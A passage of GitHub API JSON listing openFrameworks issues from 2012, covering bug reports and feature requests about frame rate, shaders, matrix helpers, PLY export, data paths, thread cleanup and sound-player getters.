issues","user":{"login":"ChristophPacher","id":463776,"avatar_url":"https://secure.gravatar.com/avatar/1c1ed6a26b6cb2351d65b3b02677b8d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1c1ed6a26b6cb2351d65b3b02677b8d7","url":"https://api.github.com/users/ChristophPacher","html_url":"https://github.com/ChristophPacher","followers_url":"https://api.github.com/users/ChristophPacher/followers","following_url":"https://api.github.com/users/ChristophPacher/following","gists_url":"https://api.github.com/users/ChristophPacher/gists{/gist_id}","starred_url":"https://api.github.com/users/ChristophPacher/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ChristophPacher/subscriptions","organizations_url":"https://api.github.com/users/ChristophPacher/orgs","repos_url":"https://api.github.com/users/ChristophPacher/repos","events_url":"https://api.github.com/users/ChristophPacher/events{/privacy}","received_events_url":"https://api.github.com/users/ChristophPacher/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-05-31T16:24:30Z","updated_at":"2012-05-31T17:02:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi,\n\nI am on a Windows 7 x64 Laptop (NV 420m GPU), using VS2010, latest OF trunk, lastest experimental ofxOpenNI trunk, latest OpenNI/nite binaries, OpenCV trunk from March, CUDA 4.1.\n\nWhen running my kinect app i have a hard time to control the FPS aswell as Vsync. Sometimes the app shows 300+ FPS sometimes +60 sometimes 30 when setting ofSetVerticalSync(true) and ofSetFramerate(60) (or using none of the settings), and I experience some slowdowns in the ofxOpenNI thread to 20 FPS when playing an .oni file, that recover back to normal 30 FPS. Sometimes the app runs perfectly with no slow downs but it is pretty much randomly changeing even with just an app restart or system restart. No changes in the Nvidia driver settings seem to directly and repeatetly control the FPS. The ofxOpenCV example is controlable and behaves as one would expect, but its not threaded.\n\nI am puzzeld and I do not know what could be the root of the problem. Any ideas where I could look next? Are there any instructions or patterns i should avoid when interacting with my OpenNI thread that could influence the Opengl thread?\n\nAnyone wanting to test this can reproduce this with running the sample project of gameovers ofxOpenNI called src-ONIRecording-Simple. \n\nThanks\n\nChris"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","id":4767675,"number":1279,"title":"ofShader example with HD Graphics 3000 issue","user":{"login":"subtiv","id":1012684,"avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"837cfe96365c031130a46311eb11d86a","url":"https://api.github.com/users/subtiv","html_url":"https://github.com/subtiv","followers_url":"https://api.github.com/users/subtiv/followers","following_url":"https://api.github.com/users/subtiv/following","gists_url":"https://api.github.com/users/subtiv/gists{/gist_id}","starred_url":"https://api.github.com/users/subtiv/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/subtiv/subscriptions","organizations_url":"https://api.github.com/users/subtiv/orgs","repos_url":"https://api.github.com/users/subtiv/repos","events_url":"https://api.github.com/users/subtiv/events{/privacy}","received_events_url":"https://api.github.com/users/subtiv/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-05-26T19:27:56Z","updated_at":"2012-05-28T08:08:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","id":4554058,"number":1256,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-05-13T18:20:29Z","updated_at":"2012-05-17T21:42:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","id":4539985,"number":1252,"title":"0071 ply (mesh.save()) Point export is broken","user":{"login":"laserpilot","id":1041023,"avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","url":"https://api.github.com/users/laserpilot","html_url":"https://github.com/laserpilot","followers_url":"https://api.github.com/users/laserpilot/followers","following_url":"https://api.github.com/users/laserpilot/following","gists_url":"https://api.github.com/users/laserpilot/gists{/gist_id}","starred_url":"https://api.github.com/users/laserpilot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/laserpilot/subscriptions","organizations_url":"https://api.github.com/users/laserpilot/orgs","repos_url":"https://api.github.com/users/laserpilot/repos","events_url":"https://api.github.com/users/laserpilot/events{/privacy}","received_events_url":"https://api.github.com/users/laserpilot/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":6,"created_at":"2012-05-11T19:45:53Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","id":4507492,"number":1250,"title":"bug: ofToDataPath broken again","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":9,"created_at":"2012-05-10T06:35:24Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1239","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1239/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1239/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1239/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1239","id":4406584,"number":1239,"title":"Fix ofThread destructor behaviour","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":31,"created_at":"2012-05-03T14:54:46Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1239","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1239.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1239.patch"},"body":"The way ofThread's destructor worked was causing cleanup code at the end of threadedFunction to be skipped, sometimes leaving shared resources in an unusable state. This patch makes sure that the ofThread destructor waits until the thread has properly exited. \r\n\r\nIMO this patch is critical, but it should be treated with caution, as this has the possibility to cause deadlocks in code with multiple threads where the cleanup order is not clearly defined."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1236","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1236/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1236/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1236/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1236","id":4384548,"number":1236,"title":"init openframeworks before constructor of testapp is called?","user":{"login":"peteruithoven","id":523210,"avatar_url":"https://secure.gravatar.com/avatar/f39b1485b28be1dc2b98f269235218bc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f39b1485b28be1dc2b98f269235218bc","url":"https://api.github.com/users/peteruithoven","html_url":"https://github.com/peteruithoven","followers_url":"https://api.github.com/users/peteruithoven/followers","following_url":"https://api.github.com/users/peteruithoven/following","gists_url":"https://api.github.com/users/peteruithoven/gists{/gist_id}","starred_url":"https://api.github.com/users/peteruithoven/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/peteruithoven/subscriptions","organizations_url":"https://api.github.com/users/peteruithoven/orgs","repos_url":"https://api.github.com/users/peteruithoven/repos","events_url":"https://api.github.com/users/peteruithoven/events{/privacy}","received_events_url":"https://api.github.com/users/peteruithoven/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":null,"comments":3,"created_at":"2012-05-02T13:24:49Z","updated_at":"2012-05-16T09:42:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I was trying to load a file in a subclass. I'm used to doing that in a constructor, but after an hour of debugging I found out that I can only do this if I make some kind of setup function. Because otherwise it's called before openframeworks is initialized. \r\n\r\nWhy not initialize openframeworks before ofRunApp or in the constructor ofBaseApp? \r\n\r\nTo reproduce put the following code in a constructor of a class and in a setup function that you call from the testapp setup. \r\nofFile f(\"DroidSans.ttf\");\r\ncout << f.getAbsolutePath() << endl;\r\n\r\nDifference is that when you load a file from the constructor the absolute url becomes:\r\n/Developer/openFrameworks/007/apps/data/DroidSans.ttf\r\nFrom a setup function that I call in the setup function of TestApp:\r\n/Developer/openFrameworks/007/apps/experiments/FindingFont2/bin/data/DroidSans.ttf"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1235","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1235/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1235/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1235/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1235","id":4383465,"number":1235,"title":"no get methods for ofSoundPlayer","user":{"login":"chrisoshea","id":104786,"avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","url":"https://api.github.com/users/chrisoshea","html_url":"https://github.com/chrisoshea","followers_url":"https://api.github.com/users/chrisoshea/followers","following_url":"https://api.github.com/users/chrisoshea/following","gists_url":"https://api.github.com/users/chrisoshea/gists{/gist_id}","starred_url":"https://api.github.com/users/chrisoshea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chrisoshea/subscriptions","organizations_url":"https://api.github.com/users/chrisoshea/orgs","repos_url":"https://api.github.com/users/chrisoshea/repos","events_url":"https://api.github.com/users/chrisoshea/events{/privacy}","received_events_url":"https://api.github.com/users/chrisoshea/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-05-02T12:06:15Z","updated_at":"2012-05-02T12:51:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Right now (007), how do you get a volume of a sample? a float sample.volume?\r\n\r\nhttp://www.openframeworks.cc/documentation/sound/ofSoundPlayer.html#volume\r\n\r\nBut if you look at ofSoundPlayer or ofBaseSoundPlayer there is no variable volume, or length, or pan, or speed. This brings up a compile error in Xcode saying:\r\n\r\nNo member named 'volume' in 'ofSoundPlayer'\r\n\r\nSo here are the variables:\r\n\r\nbool bLoop\r\nbool bLoadedOk\r\nbool bPaused\r\nfloat pan\r\nfloat volume\r\nfloat speed\r\nunsigned int length\r\n\r\nHere are the set methods:\r\n\r\nsetVolume(...)\r\nsetPan(...)\r\nsetSpeed(...)\r\nsetPaused(...)\r\nsetLoop(...)\r\nsetMultiPlay(...)\r\nsetPosition(...)\r\n\r\nHere are the gets:\r\n\r\ngetPosition()\r\ngetIsPlaying()\r\ngetSpeed()\r\ngetPan()\r\nsetPlayer(...)\r\ngetPlayer()\r\nsetPositionMS(...)\r\ngetPositionMS()\r\n\r\nWhat is missing?\r\n\r\ngetVolume()\r\ngetPaused()\r\ngetLoop()\r\n\r\nOr has this already been fixed?\r\n\r\nCheers\r\n\r\n\r\n\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1234","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1234/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1234/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1234/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1234","id":4373361,"number":1234,"title":"PG should generate example projects in non-core addons","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-05-01T20:24:05Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be great if the PG could get an option to generate the examples of non-core addons which the user has downloaded and placed in `OF/addons/`. This would really be useful to quickly look at/work with an addon.\r\n\r\nThe PG already knows about these addons. It would scan for folders in am addon's root directory with `example` in the name somewhere, and probably check the requisite structure (`src` folder, `addons.make` in place, etc), then generate the project file just the way it would if the example were in `OF/examples/addons/someExample`. Folder depth is the same, so I hope this is just a matter of adjusting the root folder for the example generation process - `addons` instead of `examples`.\r\n\r\nThoughts? Feedback?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1233","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1233/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1233/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1233/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1233","id":4373201,"number":1233,"title":"PG should offer addons 